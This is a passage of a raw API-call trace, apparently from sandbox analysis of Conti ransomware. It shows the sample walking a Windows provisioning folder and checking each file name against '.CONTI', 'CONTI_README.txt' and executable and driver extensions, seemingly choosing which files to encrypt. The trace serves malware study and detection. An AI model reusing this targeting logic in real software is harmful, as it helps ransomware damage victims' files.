	[0109.301] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.301] lstrlenW (lpString="324__Connections_Cellular_Telecel (Paraguay)_i0$(__MVID)@WAP.provxml") returned 68
	[0109.301] GetProcessHeap () returned 0x1720000
	[0109.301] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13e) returned 0x6566b88
	[0109.301] lstrcpyW (in: lpString1=0x6566b88, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.301] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.301] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="324__Connections_Cellular_Telecel (Paraguay)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\324__Connections_Cellular_Telecel (Paraguay)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\324__Connections_Cellular_Telecel (Paraguay)_i0$(__MVID)@WAP.provxml"
	[0109.301] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c1dec7, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90c1dec7, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90c1dec7, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2ba, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="325__Connections_Cellular_Claro (Peru)_i0$(__MVID)@WAP.provxml", cAlternateFileName="325__C~1.PRO")) returned 1
	[0109.301] lstrcmpiW (lpString1="325__Connections_Cellular_Claro (Peru)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.301] lstrcmpiW (lpString1="325__Connections_Cellular_Claro (Peru)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.301] StrStrIW (lpFirst="325__Connections_Cellular_Claro (Peru)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.301] StrStrIW (lpFirst="325__Connections_Cellular_Claro (Peru)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.301] StrStrIW (lpFirst="325__Connections_Cellular_Claro (Peru)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.301] StrStrIW (lpFirst="325__Connections_Cellular_Claro (Peru)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.301] StrStrIW (lpFirst="325__Connections_Cellular_Claro (Peru)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.301] StrStrIW (lpFirst="325__Connections_Cellular_Claro (Peru)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.301] StrStrIW (lpFirst="325__Connections_Cellular_Claro (Peru)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.301] StrStrIW (lpFirst="325__Connections_Cellular_Claro (Peru)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.301] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.301] lstrlenW (lpString="325__Connections_Cellular_Claro (Peru)_i0$(__MVID)@WAP.provxml") returned 62
	[0109.301] GetProcessHeap () returned 0x1720000
	[0109.301] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x132) returned 0x6566520
	[0109.301] lstrcpyW (in: lpString1=0x6566520, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.301] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.301] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="325__Connections_Cellular_Claro (Peru)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\325__Connections_Cellular_Claro (Peru)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\325__Connections_Cellular_Claro (Peru)_i0$(__MVID)@WAP.provxml"
	[0109.301] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c1dec7, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90c1dec7, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90c1dec7, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c9, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="326__Connections_Cellular_Telefonica (Peru)_i0$(__MVID)@WAP.provxml", cAlternateFileName="326__C~1.PRO")) returned 1
	[0109.301] lstrcmpiW (lpString1="326__Connections_Cellular_Telefonica (Peru)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.301] lstrcmpiW (lpString1="326__Connections_Cellular_Telefonica (Peru)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.301] StrStrIW (lpFirst="326__Connections_Cellular_Telefonica (Peru)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.301] StrStrIW (lpFirst="326__Connections_Cellular_Telefonica (Peru)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.301] StrStrIW (lpFirst="326__Connections_Cellular_Telefonica (Peru)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.302] StrStrIW (lpFirst="326__Connections_Cellular_Telefonica (Peru)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.302] StrStrIW (lpFirst="326__Connections_Cellular_Telefonica (Peru)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.302] StrStrIW (lpFirst="326__Connections_Cellular_Telefonica (Peru)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.302] StrStrIW (lpFirst="326__Connections_Cellular_Telefonica (Peru)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.302] StrStrIW (lpFirst="326__Connections_Cellular_Telefonica (Peru)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.302] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.302] lstrlenW (lpString="326__Connections_Cellular_Telefonica (Peru)_i0$(__MVID)@WAP.provxml") returned 67
	[0109.302] GetProcessHeap () returned 0x1720000
	[0109.302] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13c) returned 0x6566148
	[0109.302] lstrcpyW (in: lpString1=0x6566148, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.302] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.302] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="326__Connections_Cellular_Telefonica (Peru)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\326__Connections_Cellular_Telefonica (Peru)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\326__Connections_Cellular_Telefonica (Peru)_i0$(__MVID)@WAP.provxml"
	[0109.302] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c1dec7, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90c1dec7, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90c1dec7, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x292, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="327__Connections_Cellular_Globe (Philippines)_i0$(__MVID)@WAP.provxml", cAlternateFileName="327__C~1.PRO")) returned 1
	[0109.302] lstrcmpiW (lpString1="327__Connections_Cellular_Globe (Philippines)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.302] lstrcmpiW (lpString1="327__Connections_Cellular_Globe (Philippines)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.302] StrStrIW (lpFirst="327__Connections_Cellular_Globe (Philippines)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.302] StrStrIW (lpFirst="327__Connections_Cellular_Globe (Philippines)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.302] StrStrIW (lpFirst="327__Connections_Cellular_Globe (Philippines)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.302] StrStrIW (lpFirst="327__Connections_Cellular_Globe (Philippines)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.302] StrStrIW (lpFirst="327__Connections_Cellular_Globe (Philippines)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.302] StrStrIW (lpFirst="327__Connections_Cellular_Globe (Philippines)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.302] StrStrIW (lpFirst="327__Connections_Cellular_Globe (Philippines)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.302] StrStrIW (lpFirst="327__Connections_Cellular_Globe (Philippines)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.302] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.302] lstrlenW (lpString="327__Connections_Cellular_Globe (Philippines)_i0$(__MVID)@WAP.provxml") returned 69
	[0109.302] GetProcessHeap () returned 0x1720000
	[0109.302] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x140) returned 0x6567ae8
	[0109.302] lstrcpyW (in: lpString1=0x6567ae8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.302] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.302] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="327__Connections_Cellular_Globe (Philippines)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\327__Connections_Cellular_Globe (Philippines)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\327__Connections_Cellular_Globe (Philippines)_i0$(__MVID)@WAP.provxml"
	[0109.302] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c1dec7, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90c1dec7, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90c1dec7, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x28e, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="328__Connections_Cellular_Globe (Philippines)_i1$(__MVID)@WAP.provxml", cAlternateFileName="328__C~1.PRO")) returned 1
	[0109.302] lstrcmpiW (lpString1="328__Connections_Cellular_Globe (Philippines)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.302] lstrcmpiW (lpString1="328__Connections_Cellular_Globe (Philippines)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.303] StrStrIW (lpFirst="328__Connections_Cellular_Globe (Philippines)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.303] StrStrIW (lpFirst="328__Connections_Cellular_Globe (Philippines)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.303] StrStrIW (lpFirst="328__Connections_Cellular_Globe (Philippines)_i1$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.303] StrStrIW (lpFirst="328__Connections_Cellular_Globe (Philippines)_i1$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.303] StrStrIW (lpFirst="328__Connections_Cellular_Globe (Philippines)_i1$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.303] StrStrIW (lpFirst="328__Connections_Cellular_Globe (Philippines)_i1$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.303] StrStrIW (lpFirst="328__Connections_Cellular_Globe (Philippines)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.303] StrStrIW (lpFirst="328__Connections_Cellular_Globe (Philippines)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.303] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.303] lstrlenW (lpString="328__Connections_Cellular_Globe (Philippines)_i1$(__MVID)@WAP.provxml") returned 69
	[0109.303] GetProcessHeap () returned 0x1720000
	[0109.303] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x140) returned 0x6567c30
	[0109.303] lstrcpyW (in: lpString1=0x6567c30, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.303] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.303] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="328__Connections_Cellular_Globe (Philippines)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\328__Connections_Cellular_Globe (Philippines)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\328__Connections_Cellular_Globe (Philippines)_i1$(__MVID)@WAP.provxml"
	[0109.303] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c44137, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90c44137, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90c44137, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="329__Connections_Cellular_Smart (Philippines)_i0$(__MVID)@WAP.provxml", cAlternateFileName="329__C~1.PRO")) returned 1
	[0109.303] lstrcmpiW (lpString1="329__Connections_Cellular_Smart (Philippines)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.303] lstrcmpiW (lpString1="329__Connections_Cellular_Smart (Philippines)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.303] StrStrIW (lpFirst="329__Connections_Cellular_Smart (Philippines)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.303] StrStrIW (lpFirst="329__Connections_Cellular_Smart (Philippines)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.303] StrStrIW (lpFirst="329__Connections_Cellular_Smart (Philippines)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.303] StrStrIW (lpFirst="329__Connections_Cellular_Smart (Philippines)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.303] StrStrIW (lpFirst="329__Connections_Cellular_Smart (Philippines)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.303] StrStrIW (lpFirst="329__Connections_Cellular_Smart (Philippines)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.303] StrStrIW (lpFirst="329__Connections_Cellular_Smart (Philippines)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.303] StrStrIW (lpFirst="329__Connections_Cellular_Smart (Philippines)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.303] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.303] lstrlenW (lpString="329__Connections_Cellular_Smart (Philippines)_i0$(__MVID)@WAP.provxml") returned 69
	[0109.303] GetProcessHeap () returned 0x1720000
	[0109.303] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x140) returned 0x6566290
	[0109.303] lstrcpyW (in: lpString1=0x6566290, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.303] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.304] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="329__Connections_Cellular_Smart (Philippines)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\329__Connections_Cellular_Smart (Philippines)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\329__Connections_Cellular_Smart (Philippines)_i0$(__MVID)@WAP.provxml"
	[0109.304] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901d57cf, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x901d57cf, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x901d57cf, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cf, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="32__Connections_Cellular_Azercell (Azerbaijan)_i0$(__MVID)@WAP.provxml", cAlternateFileName="32__CO~1.PRO")) returned 1
	[0109.304] lstrcmpiW (lpString1="32__Connections_Cellular_Azercell (Azerbaijan)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.304] lstrcmpiW (lpString1="32__Connections_Cellular_Azercell (Azerbaijan)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.304] StrStrIW (lpFirst="32__Connections_Cellular_Azercell (Azerbaijan)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.304] StrStrIW (lpFirst="32__Connections_Cellular_Azercell (Azerbaijan)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.304] StrStrIW (lpFirst="32__Connections_Cellular_Azercell (Azerbaijan)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.304] StrStrIW (lpFirst="32__Connections_Cellular_Azercell (Azerbaijan)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.304] StrStrIW (lpFirst="32__Connections_Cellular_Azercell (Azerbaijan)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.304] StrStrIW (lpFirst="32__Connections_Cellular_Azercell (Azerbaijan)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.304] StrStrIW (lpFirst="32__Connections_Cellular_Azercell (Azerbaijan)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.304] StrStrIW (lpFirst="32__Connections_Cellular_Azercell (Azerbaijan)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.304] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.304] lstrlenW (lpString="32__Connections_Cellular_Azercell (Azerbaijan)_i0$(__MVID)@WAP.provxml") returned 70
	[0109.304] GetProcessHeap () returned 0x1720000
	[0109.304] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x142) returned 0x6561c18
	[0109.304] lstrcpyW (in: lpString1=0x6561c18, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.304] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.304] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="32__Connections_Cellular_Azercell (Azerbaijan)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\32__Connections_Cellular_Azercell (Azerbaijan)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\32__Connections_Cellular_Azercell (Azerbaijan)_i0$(__MVID)@WAP.provxml"
	[0109.304] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c44137, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90c44137, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90c44137, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2dc, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="330__Connections_Cellular_Sun Cellular (Philippines)_i0$(__MVID)@WAP.provxml", cAlternateFileName="330__C~1.PRO")) returned 1
	[0109.304] lstrcmpiW (lpString1="330__Connections_Cellular_Sun Cellular (Philippines)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.304] lstrcmpiW (lpString1="330__Connections_Cellular_Sun Cellular (Philippines)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.304] StrStrIW (lpFirst="330__Connections_Cellular_Sun Cellular (Philippines)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.304] StrStrIW (lpFirst="330__Connections_Cellular_Sun Cellular (Philippines)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
